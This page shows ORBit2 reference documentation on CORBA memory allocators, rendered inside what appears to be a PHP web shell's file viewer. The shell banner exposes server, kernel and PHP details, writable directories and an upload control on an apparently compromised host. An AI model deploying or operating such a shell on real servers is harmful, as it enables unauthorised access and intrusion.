KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /proc/21572/root/usr/share/gtk-doc/html/ORBit2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/21572/root/usr/share/gtk-doc/html/ORBit2/ORBit2-orbit2-allocators.html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
<title>Allocators</title>
<meta name="generator" content="DocBook XSL Stylesheets V1.69.1">
<link rel="start" href="index.html" title="ORBit2 Reference Manual">
<link rel="up" href="general.html" title="API">
<link rel="prev" href="general.html" title="API">
<link rel="next" href="ORBit2-orbit2-small.html" title="orbit2-small">
<meta name="generator" content="GTK-Doc V1.7 (XML mode)">
<link rel="stylesheet" href="style.css" type="text/css">
<link rel="chapter" href="general.html" title="API">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="2">
<tr valign="middle">
<td><a accesskey="p" href="general.html"><img src="left.png" width="24" height="24" border="0" alt="Prev"></a></td>
<td><a accesskey="u" href="general.html"><img src="up.png" width="24" height="24" border="0" alt="Up"></a></td>
<td><a accesskey="h" href="index.html"><img src="home.png" width="24" height="24" border="0" alt="Home"></a></td>
<th width="100%" align="center">ORBit2 Reference Manual</th>
<td><a accesskey="n" href="ORBit2-orbit2-small.html"><img src="right.png" width="24" height="24" border="0" alt="Next"></a></td>
</tr>
<tr><td colspan="5" class="shortcuts"><nobr><a href="#id2767955" class="shortcut">Top</a>
                  &#160;|&#160;
                  <a href="#id2732686" class="shortcut">Description</a></nobr></td></tr>
</table>
<div class="refentry" lang="en">
<a name="ORBit2-orbit2-allocators"></a><div class="titlepage"></div>
<div class="refnamediv"><table width="100%"><tr>
<td valign="top">
<h2>
<a name="id2767955"></a><span class="refentrytitle">Allocators</span>
</h2>
<p>Allocators &#8212; Memory allocation functions for CORBA types.</p>
</td>
<td valign="top" align="right"></td>
</tr></table></div>
<div class="refsynopsisdiv">
<h2>Synopsis</h2>
<pre class="synopsis">



#define     <a href="ORBit2-orbit2-allocators.html#CORBA-sequence-set-release">CORBA_sequence_set_release</a>      (s,r)
#define     <a href="ORBit2-orbit2-allocators.html#CORBA-sequence-get-release">CORBA_sequence_get_release</a>      (s)
void        <a href="ORBit2-orbit2-allocators.html#CORBA-free">CORBA_free</a>                      (<a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gpointer"
>gpointer</a> mem);
<a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gpointer"
>gpointer</a>    <a href="ORBit2-orbit2-allocators.html#ORBit-alloc-tcval">ORBit_alloc_tcval</a>               (CORBA_TypeCode tc,
                                             <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#guint"
>guint</a> nelements);
<a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gpointer"
>gpointer</a>    <a href="ORBit2-orbit2-allocators.html#ORBit-realloc-tcval">ORBit_realloc_tcval</a>             (<a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gpointer"
>gpointer</a> old,
                                             CORBA_TypeCode tc,
                                             <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#guint"
>guint</a> old_num_elements,
                                             <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#guint"
>guint</a> num_elements);

</pre>
</div>
<div class="refsect1" lang="en">
<a name="id2732686"></a><h2>Description</h2>
<p>

</p>
</div>
<div class="refsect1" lang="en">
<a name="id2732700"></a><h2>Details</h2>
<div class="refsect2" lang="en">
<a name="id2732710"></a><h3>
<a name="CORBA-sequence-set-release"></a>CORBA_sequence_set_release()</h3>
<a class="indexterm" name="id2732724"></a><pre class="programlisting">#define CORBA_sequence_set_release(s,r) (s)-&gt;_release = r
</pre>
<p>
    <a href="ORBit2-orbit2-allocators.html#CORBA-sequence-set-release"><code class="function">CORBA_sequence_set_release()</code></a> can be used to set the state of the
    release flag. If the flag is set to <a
href="/usr/share/gtk-doc/html/glib/glib-Standard-Macros.html#TRUE:CAPS"
><code class="literal">TRUE</code></a>, the sequence effectively
    "owns" the storage pointed to by <em class="structfield"><code>_buffer</code></em>; if
    <a
href="/usr/share/gtk-doc/html/glib/glib-Standard-Macros.html#FALSE:CAPS"
><code class="literal">FALSE</code></a>, the programmer is responsible for the storage. If, for
    example, a sequence is returned from an operation with its release
    flag set to <a
href="/usr/share/gtk-doc/html/glib/glib-Standard-Macros.html#FALSE:CAPS"
><code class="literal">FALSE</code></a>, calling <a href="ORBit2-orbit2-allocators.html#CORBA-free"><code class="function">CORBA_free()</code></a> on the returned sequence
    pointer will not deallocate the memory pointed to by
    <em class="structfield"><code>_buffer</code></em>.
</p>
<p>
    Also, passing a null pointer or a pointer to something other than
    a sequence type to either <a href="ORBit2-orbit2-allocators.html#CORBA-sequence-set-release"><code class="function">CORBA_sequence_set_release()</code></a> or
    <a href="ORBit2-orbit2-allocators.html#CORBA-sequence-get-release"><code class="function">CORBA_sequence_get_release()</code></a> produces undefined behavior.
</p>
<p>
    <a href="ORBit2-orbit2-allocators.html#CORBA-sequence-set-release"><code class="function">CORBA_sequence_set_release()</code></a> should only be used by the creator of a
    sequence. If it is not called for a given sequence instance, then
    the default value of the release flag for that instance is <a
href="/usr/share/gtk-doc/html/glib/glib-Standard-Macros.html#FALSE:CAPS"
><code class="literal">FALSE</code></a>.
</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody>
<tr>
<td>
<span class="term"><em class="parameter"><code>s</code></em>&#160;:</span></td>
<td>a CORBA sequence
</td>
</tr>
<tr>
<td>
<span class="term"><em class="parameter"><code>r</code></em>&#160;:</span></td>
<td>the new value of the release flag


</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id2777035"></a><h3>
<a name="CORBA-sequence-get-release"></a>CORBA_sequence_get_release()</h3>
<a class="indexterm" name="id2777047"></a><pre class="programlisting">#define CORBA_sequence_get_release(s) (s)-&gt;_release
</pre>
<p>
    Before calling <a href="ORBit2-orbit2-allocators.html#CORBA-free"><code class="function">CORBA_free()</code></a> on the
    <em class="structfield"><code>_buffer</code></em> member of a sequence directly,
    the programmer should check the release flag using
    <a href="ORBit2-orbit2-allocators.html#CORBA-sequence-get-release"><code class="function">CORBA_sequence_get_release()</code></a>. If it returns <a
href="/usr/share/gtk-doc/html/glib/glib-Standard-Macros.html#FALSE:CAPS"
><code class="literal">FALSE</code></a>, the programmer
    should not invoke <a href="ORBit2-orbit2-allocators.html#CORBA-free"><code class="function">CORBA_free()</code></a> on the
    <em class="structfield"><code>_buffer</code></em> member; doing so produces
    undefined behavior.
</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody><tr>
<td>
<span class="term"><em class="parameter"><code>s</code></em>&#160;:</span></td>
<td>a CORBA sequence


</td>
</tr></tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id2777139"></a><h3>
<a name="CORBA-free"></a>CORBA_free ()</h3>
<a class="indexterm" name="id2777151"></a><pre class="programlisting">void        CORBA_free                      (<a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gpointer"
>gpointer</a> mem);</pre>
<p>
    This function should be used to free memory that has been
    previously allocated with any CORBA memory allocation function.
    It does deep/recursive/intelligent deallocation of memory,
    including deallocation of values of <span class="type">CORBA_any</span> types,
    sequence buffers and elements, etc.
</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody><tr>
<td>
<span class="term"><em class="parameter"><code>mem</code></em>&#160;:</span></td>
<td>pointer to any memory block allocated by CORBA/ORBit


</td>
</tr></tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id2777205"></a><h3>
<a name="ORBit-alloc-tcval"></a>ORBit_alloc_tcval ()</h3>
<a class="indexterm" name="id2777217"></a><pre class="programlisting"><a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gpointer"
>gpointer</a>    ORBit_alloc_tcval               (CORBA_TypeCode tc,
                                             <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#guint"
>guint</a> nelements);</pre>
<p>
    Allocates a memory buffer that can hold <em class="parameter"><code>nelemems</code></em> elements of type <em class="parameter"><code>tc</code></em>.
</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody>
<tr>
<td>
<span class="term"><em class="parameter"><code>tc</code></em>&#160;:</span></td>
<td>typecode of the elements of the array
</td>
</tr>
<tr>
<td>
<span class="term"><em class="parameter"><code>nelements</code></em>&#160;:</span></td>
<td>number of elements of the array
</td>
</tr>
<tr>
<td>
<span class="term"><span class="emphasis"><em>Returns</em></span>&#160;:</span></td>
<td>the address of the newly allocated memory buffer


</td>
</tr>
</tbody>
</table></div>
</div>
<hr>
<div class="refsect2" lang="en">
<a name="id2777310"></a><h3>
<a name="ORBit-realloc-tcval"></a>ORBit_realloc_tcval ()</h3>
<a class="indexterm" name="id2777323"></a><pre class="programlisting"><a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gpointer"
>gpointer</a>    ORBit_realloc_tcval             (<a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#gpointer"
>gpointer</a> old,
                                             CORBA_TypeCode tc,
                                             <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#guint"
>guint</a> old_num_elements,
                                             <a
href="/usr/share/gtk-doc/html/glib/glib-Basic-Types.html#guint"
>guint</a> num_elements);</pre>
<p>
    Changes the size of a CORBA memory buffer.
</p>
<div class="variablelist"><table border="0">
<col align="left" valign="top">
<tbody>
<tr>
<td>
<span class="term"><em class="parameter"><code>old</code></em>&#160;:</span></td>
<td>old memory segment, possibly allocated by <a href="ORBit2-orbit2-allocators.html#ORBit-alloc-tcval"><code class="function">ORBit_alloc_tcval()</code></a>
</td>
</tr>
<tr>
<td>
<span class="term"><em class="parameter"><code>tc</code></em>&#160;:</span></td>
<td>typecode of the elements of the array
</td>
</tr>
<tr>
<td>
<span class="term"><em class="parameter"><code>old_num_elements</code></em>&#160;:</span></td>
<td>current number of elements of the array
</td>
</tr>
<tr>
<td>
<span class="term"><em class="parameter"><code>num_elements</code></em>&#160;:</span></td>
<td>new desired size of the array
</td>
</tr>
<tr>
<td>
<span class="term"><span class="emphasis"><em>Returns</em></span>&#160;:</span></td>
<td>the new location of the array


</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</body>
</html>

Anon7 - 2021